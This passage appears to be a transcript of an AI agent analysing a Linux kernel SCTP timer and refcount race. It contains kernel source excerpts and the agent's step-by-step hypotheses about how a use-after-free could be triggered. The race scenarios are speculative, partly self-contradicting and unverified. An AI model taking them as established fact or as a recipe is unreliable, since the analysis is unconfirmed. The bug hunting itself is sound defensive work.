2645:		 */
2646:		sctp_add_cmd_sf(commands, SCTP_CMD_INIT_COUNTER_INC, SCTP_NULL());
2647:	
2648:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
2649:				SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
2650:		sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
2651:				SCTP_STATE(SCTP_STATE_COOKIE_WAIT));
2652:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
2653:				SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
2654:	
2655:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(reply));
2656:	
2657:		return SCTP_DISPOSITION_CONSUME;
2658:	
2659:	nomem:
2660:		return SCTP_DISPOSITION_NOMEM;
2661:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 160385
							output: 43
							thoughts: 5764
						

**The Labyrinth of SCTP Timers and Reference Counts: My Internal Monologue**

I've been diving deep into the SCTP state machine, trying to untangle a complex race condition that's been surfacing. It started with a thought about how `sctp_sf_do_5_2_6_stale` interacts with timers `T1_COOKIE` and `T1_INIT`. My initial check confirmed that when `T1_COOKIE` is pending, `T1_INIT` isn't, which seemed straightforward enough.

Then, my mind shifted to `sctp_sf_do_prm_asoc`, which is triggered by `connect()`. I reasoned that if `connect()` is called on a socket already in `COOKIE_WAIT` state, `sctp_sf_do_prm_asoc` wouldn't be called, and `sctp_do_sm` would be skipped due to the state check in `sctp_connect`. I then considered that `connect()` would simply wait for the association to establish if the state was `COOKIE_WAIT` or `COOKIE_ECHOED`.

The real puzzle emerged when I revisited `T2_SHUTDOWN`. I hypothesized a scenario: if an association is in `SHUTDOWN_SENT` state, `T2_SHUTDOWN` is running. If a duplicate `COOKIE_ECHO` is received, `sctp_sf_do_dupcook_a` is called, which in turn triggers `sctp_sf_do_9_2_start_shutdown`. This command starts `T2_SHUTDOWN`. If `T2_SHUTDOWN` was *already* running (which it is in this state), and then `T2_SHUTDOWN` fires concurrently, a race condition could occur.

I then thought about how to reproduce this. My first idea was a manual sequence: create an SCTP socket, establish a connection, call `shutdown()` to enter `SHUTDOWN_SENT` and start `T2_SHUTDOWN`, then have the peer send a duplicate `COOKIE_ECHO`. This would lead to `SCTP_CMD_TIMER_START` for `T2_SHUTDOWN` while it's already running, potentially hitting the race.

But then I recalled the syzbot reproducer and its use of `setsockopt` with `SCTP_SOCKOPT_BINDX_ADD` and `SCTP_SOCKOPT_BINDX_REM`. This seemed like a different path. My initial thought was that `BINDX_ADD` might start a timer. However, I quickly corrected myself: if the socket is connected, `BINDX_ADD` sends an `ASCONF` chunk. If it's *not* connected, it just updates the bind address list.

This led me to re-examine the reproducer's context. The strace showed the socket was `LISTEN`ing, not connected. A listening socket doesn't have an association. This created a paradox: how could `sctp_generate_timeout_event` be called if there's no association to pass to it? There *must* be an association for that function to be invoked. This suggested another thread might be establishing a connection, or perhaps packets were being sent to itself to create one, even though the strace snippet didn't show it.

Digging further into the bug report and disassembly, I noticed a `refcount_warn_saturate` function involved, hinting strongly at reference counting issues. This brought me back to the `BINDX_ADD` and `BINDX_REM` calls. If the socket were connected, `BINDX_ADD` would indeed send `ASCONF` chunks, starting the `T4_RTO` timer. My analysis showed that the locking and queueing mechanisms for `ASCONF` chunks should serialize `SCTP_CMD_TIMER_START` calls, making it safe.

Then I considered the case where `sctp_primitive_ASCONF` is called and generates `SCTP_CMD_TIMER_START` for `T4_RTO`, but `T4_RTO` is *already pending*. This seemed unlikely if `addip_last_asconf` is managed correctly, as `ASCONF_ACK` processing stops the timer.

The core of the problem seemed to be a subtle interaction during `ASCONF` processing when the `T4_RTO` timer is involved. I envisioned a scenario where `ASCONF_ACK` processing stops the `T4_RTO` timer, then attempts to start a new one via `sctp_send_next_asconf`. If, during this sequence, the timer *itself* fires concurrently, a race could occur.

I delved into the critical interleaving: what if `timer_delete` in `SCTP_CMD_TIMER_STOP` returns 0 because the timer is *running* on another CPU? This would mean the timer callback is already executing. If `SCTP_CMD_TIMER_START` then proceeds, it sees `timer_pending` as false, increments the reference count, and reschedules the timer. The timer callback, upon completion, would then decrement the reference count. This seemed like it could lead to an extra reference being held if not handled carefully.

However, the most compelling hypothesis arose from thinking about the timer's lifecycle in relation to `sctp_cmd_interpreter` and `sock_owned_by_user`. I theorized an interleaving:
1. An association exists, and the `T4_RTO` timer is armed (refcount = 1).
2. The timer fires on CPU B. It's dequeued (refcount = 1). CPU B acquires `bh_lock_sock`.
3. Meanwhile, on CPU A, `sctp_cmd_interpreter` processes `SCTP_CMD_TIMER_START` for the *same* timer. It checks `timer_pending`, which is now FALSE because CPU B dequeued it.
4. CPU A *holds* the association (refcount = 2). It then calls `timer_reduce`, which re-enqueues the timer.
5. CPU B, having acquired the lock and seeing `sock_owned_by_user` as TRUE (because CPU A is likely in process context), calls `mod_timer`. This returns 0 since the timer is not pending (it was just re-enqueued by CPU A). So, CPU B also *holds* the association (refcount = 3).
6. CPU B then calls `sctp_association_put(asoc)`, decrementing the refcount (refcount = 2).
The timer is now pending, but the association has two extra references! When the timer finally fires again, it will call `sctp_association_put` twice, potentially leading to a use-after-free if the timer handler doesn't properly re-acquire the lock or check state.

My thought process then shifted to a different, even more insidious interleaving:
1. Timer is pending, refcount = 1.
2. CPU A (in `sctp_cmd_interpreter`) checks `timer_pending` and it returns TRUE (the timer is still in the timer wheel). CPU A does *not* hold the association.
3. CPU A is preempted. The timer fires on CPU B.
4. CPU B dequeues the timer (refcount remains 1).
5. CPU A resumes and executes `timer_reduce`. Since the timer was dequeued by CPU B, `timer_reduce` returns 0. CPU A enqueues the timer again.
6. CPU B, now running the timer callback, acquires `bh_lock_sock`. It sees `sock_owned_by_user` is true and calls `mod_timer`. Since CPU A *just* enqueued the timer, `mod_timer` returns 1 (the timer is pending). CPU B does *not* hold the association.
7. CPU B calls `sctp_association_put(asoc)`. The refcount drops to 0.
Now, the timer is *pending*, but its reference count is 0. When this pending timer eventually fires again, it will attempt to call `sctp_association_put` on a zero refcount, triggering the use-after-free. This feels like the smoking gun. The key is that `timer_pending` returns TRUE, preventing an initial hold, but a subsequent event (the timer firing and re-enqueuing) leads to a premature refcount drop to zero while the timer remains armed.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_do_sm]

map[SourceCode:1143:	/*
1144:	 * This is the master state machine processing function.
1145:	 *
1146:	 * If you want to understand all of lksctp, this is a
1147:	 * good place to start.
1148:	 */
1149:	int sctp_do_sm(struct net *net, enum sctp_event_type event_type,
1150:		       union sctp_subtype subtype, enum sctp_state state,
1151:		       struct sctp_endpoint *ep, struct sctp_association *asoc,
1152:		       void *event_arg, gfp_t gfp)
1153:	{
1154:		typedef const char *(printfn_t)(union sctp_subtype);
1155:		static printfn_t *table[] = {
1156:			NULL, sctp_cname, sctp_tname, sctp_oname, sctp_pname,
1157:		};
1158:		printfn_t *debug_fn  __attribute__ ((unused)) = table[event_type];
1159:		const struct sctp_sm_table_entry *state_fn;
1160:		struct sctp_cmd_seq commands;
1161:		enum sctp_disposition status;
1162:		int error = 0;
1163:	
1164:		/* Look up the state function, run it, and then process the
1165:		 * side effects.  These three steps are the heart of lksctp.
1166:		 */
1167:		state_fn = sctp_sm_lookup_event(net, event_type, state, subtype);
1168:	
1169:		sctp_init_cmd_seq(&commands);
1170:	
1171:		debug_pre_sfn();
1172:		status = state_fn->fn(net, ep, asoc, subtype, event_arg, &commands);
1173:		debug_post_sfn();
1174:	
1175:		error = sctp_side_effects(event_type, subtype, state,
1176:					  ep, &asoc, event_arg, status,
1177:					  &commands, gfp);
1178:		debug_post_sfx();
1179:	
1180:		return error;
1181:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 166868
							output: 41
							thoughts: 68
						

**My Thought Process Regarding `sctp_do_sm` and Locking**

Okay, so I'm digging into the SCTP stack and specifically focusing on the flow around `sctp_do_sm`. I've noticed a chain of calls: `sctp_do_sm` directly invokes `sctp_side_effects`, and that in turn calls `sctp_cmd_interpreter`. This seems like a core processing path.

My immediate concern here, given the nature of socket operations and state machines, is around synchronization. Specifically, I need to determine if the `bh_lock_sock` is held when `sctp_do_sm` is entered. This lock is critical for protecting socket-specific data structures from race conditions, especially in a concurrent environment. If `sctp_do_sm` is being called without this lock, it opens up a whole can of worms for potential corruption.

To get to the bottom of this, my next step is to investigate the calling context of `sctp_do_sm`. I'm going to look at how `sctp_primitive_ASCONF` initiates the call to `sctp_do_sm`. Tracing the path from `sctp_primitive_ASCONF` will be key to understanding whether the necessary locks are acquired *before* `sctp_do_sm` executes its logic. If `sctp_primitive_ASCONF` itself doesn't acquire `bh_lock_sock`, then the problem lies either in a preceding caller or an assumption that the lock is already held. This detailed tracing is essential for ensuring the integrity of the SCTP state machine.

map[ContextFile:net/sctp/primitive.c Name:sctp_primitive_ASCONF]

map[SourceCode: 198:	DECLARE_PRIMITIVE(ASCONF);
 SourceFile:net/sctp/primitive.c]

gemini-3.1-pro-preview

							input: 167005
							output: 33
							thoughts: 13
						

**My Thought Process Regarding `DECLARE_PRIMITIVE`**

Ah, so it turns out `DECLARE_PRIMITIVE` isn't a regular function call as I might have initially assumed. It's a macro. This is a crucial distinction for me as an expert in this domain because it immediately signals a different level of abstraction and potential implications for how the code will ultimately behave. Macros operate at the preprocessor stage, meaning their text substitution happens *before* compilation. This can lead to differences in debugging, code readability, and even performance compared to a function. I need to consider how this macro expansion will affect the generated code, whether there are any potential side effects of such expansion, and if it aligns with the overall design patterns I'm accustomed to or expect. It prompts me to look closely at the macro's definition to fully understand its scope and how it's being utilized in the surrounding code.

map[Expression:define DECLARE_PRIMITIVE PathPrefix:net/sctp/]

map[Output:net/sctp/primitive.c-35-
net/sctp/primitive.c:36:#define DECLARE_PRIMITIVE(name) \
net/sctp/primitive.c-37-/* This is called in the code as sctp_primitive_ ## name.  */ \
]

gemini-3.1-pro-preview

							input: 167120
							output: 36
							thoughts: 8
						

**My Thought Process on Reviewing the Macro Definition**

Alright, before I dive into anything too granular, my very first instinct is to get a handle on the fundamental building blocks. So, the absolute priority for me right now is to **examine the macro definition**. I need to understand precisely what it is, what it's intended to do, and how it's structured at its core. This is the foundational piece of information that will inform every subsequent analysis and decision. Without a clear grasp of this definition, any further exploration would be built on shaky ground.

map[File:net/sctp/primitive.c FirstLine:36 LineCount:15]

map[Contents:  36:	#define DECLARE_PRIMITIVE(name) \
  37:	/* This is called in the code as sctp_primitive_ ## name.  */ \
  38:	int sctp_primitive_ ## name(struct net *net, struct sctp_association *asoc, \
  39:				    void *arg) { \
  40:		int error = 0; \
  41:		enum sctp_event_type event_type; union sctp_subtype subtype; \
  42:		enum sctp_state state; \
  43:		struct sctp_endpoint *ep; \
  44:		\
  45:		event_type = SCTP_EVENT_T_PRIMITIVE; \
  46:		subtype = SCTP_ST_PRIMITIVE(SCTP_PRIMITIVE_ ## name); \
  47:		state = asoc ? asoc->state : SCTP_STATE_CLOSED; \
  48:		ep = asoc ? asoc->ep : NULL; \
  49:		\
  50:		error = sctp_do_sm(net, event_type, subtype, state, ep, asoc,	\
]

gemini-3.1-pro-preview

							input: 167462
							output: 41
							thoughts: 289
						

**My Thought Process Tracing the SCTP ASCONF Path**

Alright, I'm digging into this SCTP ASCONF mechanism, and it seems pretty straightforward at a high level. I've observed that `sctp_primitive_ASCONF` ultimately just defers to `sctp_do_sm` for the heavy lifting. My immediate question, of course, is where does `sctp_primitive_ASCONF` even get invoked from?

Following the call chain, I see that `sctp_send_asconf` is the initiator. This function, in turn, is invoked by both `sctp_send_asconf_add_ip` and `sctp_send_asconf_del_ip`. This makes sense; these are the specific operations for adding or removing an IP address from an association.

Now, where do those functions get their marching orders? I've found that `sctp_bindx_add` and `sctp_bindx_rem` are the callers. This aligns with the user-facing API for managing bind addresses.

Let's dive into the implementation of `sctp_bindx_add`, as that's where I'm looking for further context. I see the typical socket locking pattern: `lock_sock(sk)` is acquired, operations proceed, and then `release_sock(sk)` is called.

Here's where a specific point of interest arises for me: `lock_sock(sk)` is held, but `bh_lock_sock(sk)` is *not* held at this stage. This is a critical observation. I'm momentarily questioning my understanding: does `lock_sock(sk)` inherently disable BH? No, that's not correct. `lock_sock` primarily acquires the mutex for the socket.

My next crucial check is whether `sctp_do_sm`, the function that handles the state machine logic after the ASCONF primitive is initiated, itself acquires `bh_lock_sock`. And then, I need to confirm if `sctp_bindx_add` takes `bh_lock_sock` within its execution flow. This lock dependency is key to understanding potential race conditions or ensuring proper ordering of operations within the SCTP stack.

map[ContextFile:net/sctp/socket.c Name:sctp_bindx_add]

map[SourceCode: 494:	/* Add a list of addresses as bind addresses to local endpoint or
 495:	 * association.
 496:	 *
 497:	 * Basically run through each address specified in the addrs/addrcnt
 498:	 * array/length pair, determine if it is IPv6 or IPv4 and call
 499:	 * sctp_do_bind() on it.
 500:	 *
 501:	 * If any of them fails, then the operation will be reversed and the
 502:	 * ones that were added will be removed.
 503:	 *
 504:	 * Only sctp_setsockopt_bindx() is supposed to call this function.
 505:	 */
 506:	static int sctp_bindx_add(struct sock *sk, struct sockaddr *addrs, int addrcnt)
 507:	{
 508:		int cnt;
 509:		int retval = 0;
 510:		void *addr_buf;
 511:		struct sockaddr *sa_addr;
 512:		struct sctp_af *af;
 513:	
 514:		pr_debug("%s: sk:%p, addrs:%p, addrcnt:%d\n", __func__, sk,
 515:			 addrs, addrcnt);
 516:	
 517:		addr_buf = addrs;
 518:		for (cnt = 0; cnt < addrcnt; cnt++) {
 519:			/* The list may contain either IPv4 or IPv6 address;
 520:			 * determine the address length for walking thru the list.
 521:			 */
 522:			sa_addr = addr_buf;
 523:			af = sctp_get_af_specific(sa_addr->sa_family);
 524:			if (!af) {
 525:				retval = -EINVAL;
 526:				goto err_bindx_add;
 527:			}
 528:	
 529:			retval = sctp_do_bind(sk, (union sctp_addr *)sa_addr,
 530:					      af->sockaddr_len);
 531:	
 532:			addr_buf += af->sockaddr_len;
 533:	
 534:	err_bindx_add:
 535:			if (retval < 0) {
 536:				/* Failed. Cleanup the ones that have been added */
 537:				if (cnt > 0)
 538:					sctp_bindx_rem(sk, addrs, cnt);
 539:				return retval;
 540:			}
 541:		}
 542:	
 543:		return retval;
 544:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 168560
							output: 38
							thoughts: 49
						

**My Thought Process Regarding SCTP Binding and Address Configuration**

My initial focus was on the `sctp_bindx_add` function, and I had a clear understanding of its role in establishing SCTP associations and binding addresses. However, a critical realization just struck me: I've been operating under a misconception about `sctp_bindx_add`'s internal workings. I now understand that it *does not* directly invoke `sctp_send_asconf_add_ip`. This is a significant point, as it means my previous mental model of how address configuration messages are sent during binding needs correction.

This immediate prompts a crucial follow-up question in my mind: if `sctp_bindx_add` isn't the one calling `sctp_send_asconf_add_ip`, then where *is* this particular function utilized within the SCTP stack? I need to trace its execution path to accurately understand the complete picture of address association and communication within SCTP. This requires a deeper dive into the source code or relevant documentation to identify the correct trigger points for `sctp_send_asconf_add_ip`.

map[Expression:sctp_send_asconf_add_ip PathPrefix:net/sctp/]

map[Output:net/sctp/socket.c=85=static int sctp_bindx_rem(struct sock *, struct sockaddr *, int);
net/sctp/socket.c:86:static int sctp_send_asconf_add_ip(struct sock *, struct sockaddr *, int);
net/sctp/socket.c-87-static int sctp_send_asconf_del_ip(struct sock *, struct sockaddr *, int);
--
net/sctp/socket.c=506=static int sctp_bindx_add(struct sock *sk, struct sockaddr *addrs, int addrcnt)
--
net/sctp/socket.c-555- */
net/sctp/socket.c:556:static int sctp_send_asconf_add_ip(struct sock		*sk,
net/sctp/socket.c-557-				   struct sockaddr	*addrs,
--
net/sctp/socket.c=910=int sctp_asconf_mgmt(struct sctp_sock *sp, struct sctp_sockaddr_entry *addrw)
--
net/sctp/socket.c-925-	if (addrw->state == SCTP_ADDR_NEW)
net/sctp/socket.c:926:		return sctp_send_asconf_add_ip(sk, (struct sockaddr *)addr, 1);
net/sctp/socket.c-927-	else
--
net/sctp/socket.c=1000=static int sctp_setsockopt_bindx(struct sock *sk, struct sockaddr *addrs,
--
net/sctp/socket.c-1044-			return err;
net/sctp/socket.c:1045:		return sctp_send_asconf_add_ip(sk, addrs, addrcnt);
net/sctp/socket.c-1046-	case SCTP_BINDX_REM_ADDR:
]

gemini-3.1-pro-preview

							input: 169143
							output: 49
							thoughts: 2212
						

**My Thoughts on a Delectable SCTP Race Condition**

So, I was digging through the SCTP code, specifically around `sctp_setsockopt_bindx`, and I noticed something rather interesting. It directly calls `sctp_send_asconf_add_ip`. Then, I followed the call stack further and saw that `sctp_setsockopt_bindx` is invoked by `sctp_setsockopt`. My immediate thought was about locking. Does `sctp_setsockopt` acquire `lock_sock`? A quick glance confirms it does. However, it *doesn't* hold `bh_lock_sock`.

This is where it started getting intriguing. If `sctp_do_sm` is called while holding `lock_sock` but *not* `bh_lock_sock`, it means `sctp_cmd_interpreter` could be running without `bh_lock_sock`. But then I remembered that `sctp_generate_timeout_event` *absolutely* requires `bh_lock_sock(sk)`.

Let's piece this together: If `sctp_cmd_interpreter` is running in process context, it holds `lock_sock`. Now, imagine a timer callback fires, and it tries to acquire `bh_lock_sock`. It successfully acquires it. At this point, it checks `sock_owned_by_user(sk)`, which will be true because the process context holds `lock_sock`. So, the timer callback will reschedule itself with `mod_timer` and call `sctp_association_hold(asoc)`. After this, it releases `bh_lock_sock` and then `sctp_association_put(asoc)`.

Now, what if `sctp_cmd_interpreter` is handling `SCTP_CMD_TIMER_START`? It checks `timer_pending(timer)`. If it's true, it proceeds. The crucial point here is that `sctp_cmd_interpreter` *doesn't* hold `bh_lock_sock` in this scenario. This means the timer callback can indeed run concurrently.

Let's trace a potential race:

1.  The timer is armed. The association's reference count is 1.
2.  CPU A, running in process context, is deep within `sctp_cmd_interpreter` and is processing `SCTP_CMD_TIMER_START`.
3.  CPU A evaluates `timer_pending(timer)` and finds it to be `TRUE`.
4.  Before CPU A can proceed further, it gets preempted or delayed.
5.  CPU B, handling the timer interrupt, fires. It dequeues the timer. The association's reference count is still 1.
6.  CPU B attempts to acquire `bh_lock_sock(sk)`.
7.  CPU B sees `sock_owned_by_user(sk) == TRUE` (because CPU A is holding `lock_sock`).
8.  CPU B calls `mod_timer(..., jiffies + HZ/20)`. Since the timer was just dequeued, `timer_pending` is false, so `mod_timer` returns 0.
9.  CPU B calls `sctp_association_hold(asoc)`. The association's reference count becomes 2.
10. CPU B releases `bh_lock_sock`.
11. CPU B calls `sctp_association_put(asoc)`. The association's reference count drops to 1.
12. CPU A resumes execution. It proceeds to call `timer_reduce(timer, ...)`.
13. `timer_reduce` modifies the timer. Because CPU B *re-enqueued* the timer in step 8, `timer_pending` is now `TRUE` when `timer_reduce` checks it. Therefore, `timer_reduce` returns 1.
14. CPU A finishes its processing. The association's reference count is still 1.

This sequence looks perfectly balanced! The reference counts are managed correctly.

However, my mind immediately jumped to the alternative: what if CPU B finishes *before* CPU A calls `timer_reduce`? Well, CPU B *did* enqueue the timer in step 8. So, the timer *is* still pending, and it will fire again in `HZ/20`. When CPU A calls `timer_reduce`, it will see the timer as pending and correctly return 1, not incrementing the reference count. This seems fine because CPU B already incremented it when it enqueued the timer.

But then, I thought about the scenario where CPU B fires, but `sock_owned_by_user(sk)` is `FALSE`. This condition is impossible if CPU A is holding `lock_sock`.

This is where the real fun begins. What if CPU B fires, and CPU A is *not* holding `lock_sock`? If CPU A is in softirq context (e.g., processing an incoming packet), it *would* be holding `bh_lock_sock`. In this case, CPU B (the timer interrupt) would *spin* waiting for `bh_lock_sock` to be released. CPU B cannot proceed until CPU A finishes its softirq processing.

Let's trace *this* scenario:

1.  The timer is armed. The association's reference count is 1.
2.  CPU A, running in softirq context, holds `bh_lock_sock`.
3.  CPU A is in `sctp_cmd_interpreter`, processing `SCTP_CMD_TIMER_START`.
4.  CPU A evaluates `timer_pending(timer)` and finds it to be `TRUE`.
5.  CPU B (the timer interrupt) fires. It dequeues the timer. The association's reference count is still 1.
6.  CPU B attempts to acquire `bh_lock_sock(sk)` and *spins*, as CPU A holds it.
7.  CPU A, still holding `bh_lock_sock`, calls `timer_reduce(timer, ...)`. Since the timer was *dequeued* by CPU B in step 5, `timer_pending` is `FALSE` from CPU A's perspective. `timer_reduce` returns 0 and *enqueues the timer*.
8.  CPU A finishes its softirq processing and releases `bh_lock_sock`.
9.  CPU B now acquires `bh_lock_sock`.
10. CPU B checks `sock_owned_by_user(sk)` and finds it to be `FALSE` (as CPU A is no longer holding `lock_sock` in this softirq context).
11. CPU B proceeds to execute `sctp_do_sm(..., SCTP_EVENT_T_TIMEOUT, ...)`.
12. This action generates `SCTP_CMD_TIMER_RESTART`.
13. CPU B executes `SCTP_CMD_TIMER_RESTART`.
14. `mod_timer` is called. Since CPU A *enqueued* the timer in step 7, `mod_timer` returns 1.
15. CPU B finishes its work and calls `sctp_association_put(asoc)`. The association's reference count drops to *zero*!
16. The timer is *still pending* because it was enqueued in step 7 and rescheduled in step 14. When this timer eventually fires *again*, it will attempt to operate on a freed association – a use-after-free!

BINGO! This is the exact race condition I was looking for!

To trigger this, we need CPU A to be in softirq context and to have just issued `SCTP_CMD_TIMER_START` for a timer that is already pending. A prime candidate for this is when we are in the `SHUTDOWN_SENT` state and receive a duplicate `COOKIE_ECHO`. This triggers `sctp_sf_do_dupcook_a`, which then calls `sctp_sf_do_9_2_start_shutdown`. This function generates `SCTP_CMD_TIMER_START` for `T2_SHUTDOWN`. If `T2_SHUTDOWN` happens to expire precisely at this moment, CPU B will try to acquire `bh_lock_sock`, and the race unfolds.

It seems the critical path is `sctp_sf_t2_timer_expire` generating `SCTP_CMD_TIMER_RESTART`. I need to examine that function very carefully now.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_t2_timer_expire]

map[SourceCode:6058:	/* RFC2960 9.2 If the timer expires, the endpoint must re-send the SHUTDOWN
6059:	 * with the updated last sequential TSN received from its peer.
6060:	 *
6061:	 * An endpoint should limit the number of retransmission of the
6062:	 * SHUTDOWN chunk to the protocol parameter 'Association.Max.Retrans'.
6063:	 * If this threshold is exceeded the endpoint should destroy the TCB and
6064:	 * MUST report the peer endpoint unreachable to the upper layer (and
6065:	 * thus the association enters the CLOSED state).  The reception of any
6066:	 * packet from its peer (i.e. as the peer sends all of its queued DATA
6067:	 * chunks) should clear the endpoint's retransmission count and restart
6068:	 * the T2-Shutdown timer,  giving its peer ample opportunity to transmit
6069:	 * all of its queued DATA chunks that have not yet been sent.
6070:	 */
6071:	enum sctp_disposition sctp_sf_t2_timer_expire(
6072:						struct net *net,
6073:						const struct sctp_endpoint *ep,
6074:						const struct sctp_association *asoc,
6075:						const union sctp_subtype type,
6076:						void *arg,
6077:						struct sctp_cmd_seq *commands)
6078:	{
6079:		struct sctp_chunk *reply = NULL;
6080:	
6081:		pr_debug("%s: timer T2 expired\n", __func__);
6082:	
6083:		SCTP_INC_STATS(net, SCTP_MIB_T2_SHUTDOWN_EXPIREDS);
6084:	
6085:		((struct sctp_association *)asoc)->shutdown_retries++;
6086:	
6087:		if (asoc->overall_error_count >= asoc->max_retrans) {
6088:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
6089:					SCTP_ERROR(ETIMEDOUT));
6090:			/* Note:  CMD_ASSOC_FAILED calls CMD_DELETE_TCB. */
6091:			sctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,
6092:					SCTP_PERR(SCTP_ERROR_NO_ERROR));
6093:			SCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);
6094:			SCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);
6095:			return SCTP_DISPOSITION_DELETE_TCB;
6096:		}
6097:	
6098:		switch (asoc->state) {
6099:		case SCTP_STATE_SHUTDOWN_SENT:
6100:			reply = sctp_make_shutdown(asoc, NULL);
6101:			break;
6102:	
6103:		case SCTP_STATE_SHUTDOWN_ACK_SENT:
6104:			reply = sctp_make_shutdown_ack(asoc, NULL);
6105:			break;
6106:	
6107:		default:
6108:			BUG();
6109:			break;
6110:		}
6111:	
6112:		if (!reply)
6113:			goto nomem;
6114:	
6115:		/* Do some failure management (Section 8.2).
6116:		 * If we remove the transport an SHUTDOWN was last sent to, don't
6117:		 * do failure management.
6118:		 */
6119:		if (asoc->shutdown_last_sent_to)
6120:			sctp_add_cmd_sf(commands, SCTP_CMD_STRIKE,
6121:					SCTP_TRANSPORT(asoc->shutdown_last_sent_to));
6122:	
6123:		/* Set the transport for the SHUTDOWN/ACK chunk and the timeout for
6124:		 * the T2-shutdown timer.
6125:		 */
6126:		sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T2, SCTP_CHUNK(reply));
6127:	
6128:		/* Restart the T2-shutdown timer.  */
6129:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
6130:				SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
6131:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(reply));
6132:		return SCTP_DISPOSITION_CONSUME;
6133:	
6134:	nomem:
6135:		return SCTP_DISPOSITION_NOMEM;
6136:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 172777
							output: 39
							thoughts: 1175
						

**The Elusive Race Condition in SCTP**

I've been diving deep into the intricacies of the SCTP implementation, specifically trying to pinpoint a race condition related to timer management. My initial hypothesis was that `sctp_sf_t2_timer_expire` generating `SCTP_CMD_TIMER_RESTART` might be the culprit, opening a window for a race.

However, as I started probing for simpler ways to trigger this, I hit a wall. I considered the `T1_INIT` timer. If we were in the `COOKIE_WAIT` state, `T1_INIT` would be active. But then I realized a crucial detail: the `STALE_COOKIE` error, which triggers `sctp_sf_do_5_2_6_stale`, is only relevant when we're in the `COOKIE_ECHOED` state. In that state, it's `T1_COOKIE` that's running, not `T1_INIT`. This means `T1_INIT` wouldn't be pending, and thus, no race could occur there; the association would be held.

Next, I looked at `AUTOCLOSE`. If `AUTOCLOSE` were running and a `COOKIE_ACK` arrived, could that trigger something? Again, a quick check revealed that `COOKIE_ACK` is received in the `COOKIE_ECHOED` state, which is *before* `AUTOCLOSE` is started. `AUTOCLOSE` only kicks in upon transitioning to the `ESTABLISHED` state. So, no race there either.

My focus then shifted to `T4_RTO`. This timer is initiated when an `ASCONF` is sent. I initially wondered if calling `connect()` again or `setsockopt(SCTP_SOCKOPT_BINDX_ADD)` multiple times could exploit this. My prior analysis showed that `sctp_send_asconf` simply queues subsequent `ASCONF`s without directly calling `sctp_primitive_ASCONF` and thus not restarting the timer. Similarly, I confirmed that `setsockopt(SCTP_PEER_ADDR_PARAMS)` to alter the `T4_RTO` timeout doesn't actually restart the timer itself.

What about sending a `HEARTBEAT`? I examined `sctp_primitive_REQUESTHEARTBEAT` and found that it generates `SCTP_CMD_HB_TIMERS_START`, not `SCTP_CMD_TIMER_START` for `T4_RTO`. Furthermore, `SCTP_CMD_HB_TIMERS_START` doesn't involve `timer_reduce`.

I then returned to `sctp_sf_do_prm_asconf`, as this function explicitly adds commands to start `T4_RTO`. The critical moment for a race here would be if `sctp_sf_do_prm_asconf` is called while `T4_RTO` is *already pending*. I traced the call sites for `sctp_sf_do_prm_asconf`: it's called by `sctp_primitive_ASCONF` and `sctp_send_next_asconf`.

When `sctp_primitive_ASCONF` is invoked from `sctp_send_asconf`, it only proceeds if `asoc->addip_last_asconf` is NULL. The question then becomes: can `T4_RTO` be pending when `asoc->addip_last_asconf` is NULL? My initial thought was that `T4_RTO` is *only* used for `ASCONF`. However, a nagging doubt remained: could `T4_RTO` be initiated by something else? I made a mental note to verify where `SCTP_EVENT_TIMEOUT_T4_RTO` is actually used, as this is the key to understanding if any other mechanism can pre-emptively start this timer and create the race condition I'm seeking.

map[Expression:SCTP_EVENT_TIMEOUT_T4_RTO PathPrefix:net/sctp/]

map[Output:net/sctp/sm_sideeffect.c=335=static void sctp_generate_t4_rto_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-337-	struct sctp_association *asoc =
net/sctp/sm_sideeffect.c:338:		timer_container_of(asoc, t, timers[SCTP_EVENT_TIMEOUT_T4_RTO]);
net/sctp/sm_sideeffect.c-339-
net/sctp/sm_sideeffect.c:340:	sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_T4_RTO);
net/sctp/sm_sideeffect.c-341-}
--
net/sctp/sm_sideeffect.c=525=sctp_timer_event_t *sctp_timer_events[SCTP_NUM_TIMEOUT_TYPES] = {
--
net/sctp/sm_sideeffect.c-530-	[SCTP_EVENT_TIMEOUT_T3_RTX] =		NULL,
net/sctp/sm_sideeffect.c:531:	[SCTP_EVENT_TIMEOUT_T4_RTO] =		sctp_generate_t4_rto_event,
net/sctp/sm_sideeffect.c-532-	[SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD] =
--
net/sctp/sm_sideeffect.c=959=static void sctp_cmd_setup_t4(struct sctp_cmd_seq *cmds,
--
net/sctp/sm_sideeffect.c-965-	t = sctp_assoc_choose_alter_transport(asoc, chunk->transport);
net/sctp/sm_sideeffect.c:966:	asoc->timeouts[SCTP_EVENT_TIMEOUT_T4_RTO] = t->rto;
net/sctp/sm_sideeffect.c-967-	chunk->transport = t;
--
net/sctp/sm_sideeffect.c=971=static void sctp_cmd_process_operr(struct sctp_cmd_seq *cmds,
--
net/sctp/sm_sideeffect.c-1006-				sctp_add_cmd_sf(cmds, SCTP_CMD_TIMER_STOP,
net/sctp/sm_sideeffect.c:1007:					SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_sideeffect.c-1008-				break;
--
